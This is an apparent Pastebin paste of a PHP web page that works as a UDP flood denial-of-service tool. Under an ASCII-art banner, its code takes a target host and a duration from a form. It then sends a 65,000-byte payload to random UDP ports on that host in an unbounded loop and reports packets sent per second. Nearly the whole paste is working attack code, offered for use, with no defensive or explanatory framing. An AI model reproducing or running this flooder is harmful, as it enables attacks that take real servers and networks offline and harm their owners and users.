Advertisement
Guest User

php "UDP Flood" scripts that people is using to make dos attacks

a guest
Oct 1st, 2014
157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.16 KB | None | 0 0
  1. <html>
  2.     <body>
  3.     <center>
  4.     <font color="00FF00">
  5.     <pre>
  6.     .=================================================================.
  7.     ||    ( )              ( )                ( )              ( )    ||
  8.     |'================================================================'|
  9.     ||                                                                ||
  10.     ||                                                                ||
  11.     ||                                                                ||
  12.     ||                                                                ||
  13.     ||                                                                ||
  14.     ||                                                                ||
  15.     ||                                  .::::.                        ||
  16.     ||                                .::::::::.                      ||
  17.     ||                                :::::::::::                     ||
  18.     ||                                ':::::::::::..                  ||
  19.     ||                                 :::::::::::::::'               ||
  20.     ||                                  ':::::::::::.                 ||
  21.     ||                                    .::::::::::::::'            ||
  22.     ||                                  .:::::::::::...               ||
  23.     ||                                 ::::::::::::::''               ||
  24.     ||                     .:::.       '::::::::''::::                ||
  25.     ||                   .::::::::.      ':::::'  '::::               ||
  26.     ||                  .::::':::::::.    :::::    '::::.             ||
  27.     ||                .:::::' ':::::::::. :::::      ':::.            ||
  28.     ||              .:::::'     ':::::::::.:::::       '::.           ||
  29.     ||            .::::''         '::::::::::::::       '::.          ||
  30.     ||           .::''              '::::::::::::         :::...      ||
  31.     ||        ..::::                  ':::::::::'        .:' ''''     ||
  32.     ||     ..''''':'                    ':::::.'                      ||
  33.     ||                                                                ||
  34.     ||                                                                ||
  35.     ||                                                                ||
  36.     ||                                                                ||
  37.     |'================================================================'|
  38.     ||                                                                ||
  39.     ||  _______ _______ ___ ___ _______ ___ ___  ___ ______  _______  ||
  40.     || |       |   _   |   Y   |   _   |   Y   )|   |   _  \|   _   | ||
  41.     || |.|   | |.  l   |.  |   |.  1___|.  1  / |.  |.  |   |.  |___| ||
  42.     || `-|.  |-|.  _   |.  |   |.  |___|.  _  \ |.  |.  |   |.  |   | ||
  43.     ||   |:  | |:  |   |:  1   |:  1   |:  |   \|:  |:  |   |:  1   | ||
  44.     ||   |::.| |::.|:. |::.. . |::.. . |::.| .  |::.|::.|   |::.. . | ||
  45.     ||   `---' `--- ---`-------`-------`--- ---'`---`--- ---`-------  ||
  46.     ||                                                                ||
  47.     '=================================================================='
  48.     </pre>
  49.     <STYLE>
  50.     input{
  51.     background-color: #00FF00; font-size: 8pt; color: #000000; font-family: Tahoma; border: 1 solid #666666;
  52.     }
  53.     button{
  54.     background-color: #00FF00; font-size: 8pt; color: #000000; font-family: Tahoma; border: 1 solid #666666;
  55.     }
  56.     body {
  57.     background-color: #000000;
  58.     }
  59.     </style>
  60.     <?php
  61.     //UDP
  62.     if(isset($_GET['host'])&&isset($_GET['time'])){
  63.         $packets = 0;
  64.         ignore_user_abort(TRUE);
  65.         set_time_limit(0);
  66.        
  67.         $exec_time = $_GET['time'];
  68.        
  69.         $time = time();
  70.         //print "Started: ".time('d-m-y h:i:s')."<br>";
  71.         $max_time = $time+$exec_time;
  72.      
  73.         $host = $_GET['host'];
  74.        
  75.         for($i=0;$i<65000;$i++){
  76.                 $out .= 'X';
  77.         }
  78.         while(1){
  79.         $packets++;
  80.                 if(time() > $max_time){
  81.                         break;
  82.                 }
  83.                 $rand = rand(1,65000);
  84.                 $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  85.                 if($fp){
  86.                         fwrite($fp, $out);
  87.                         fclose($fp);
  88.                 }
  89.         }
  90.         echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
  91.         echo '<br><br>
  92.            <form action="'.$surl.'" method=GET>
  93.            <input type="hidden" name="act" value="phptools">
  94.            Host: <br><input type=text name=host><br>
  95.            Length (seconds): <br><input type=text name=time><br>
  96.            <input type=submit value=Go></form>';
  97.     }else{ echo '<br><b>UDP Flood</b><br>
  98.                <form action=? method=GET>
  99.                <input type="hidden" name="act" value="phptools">
  100.                Host: <br><input type=text name=host value=><br>
  101.                Length (seconds): <br><input type=text name=time value=><br><br>
  102.                <input type=submit value=Go></form>';
  103.     }
  104.     ?>
  105.     </center>
  106.     </body>
  107.     </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement